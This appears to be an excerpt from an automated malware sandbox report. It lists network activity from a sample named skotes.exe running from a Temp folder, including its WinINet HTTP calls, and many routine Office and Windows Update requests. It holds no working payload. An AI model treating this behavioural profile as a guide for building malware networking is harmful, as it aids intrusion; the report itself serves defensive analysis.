Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_00DABE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

5_2_00DABE30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7xNGWLB7eDUzHSk&MD=4dvuXYOy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7xNGWLB7eDUzHSk&MD=4dvuXYOy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/1.1Host: youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
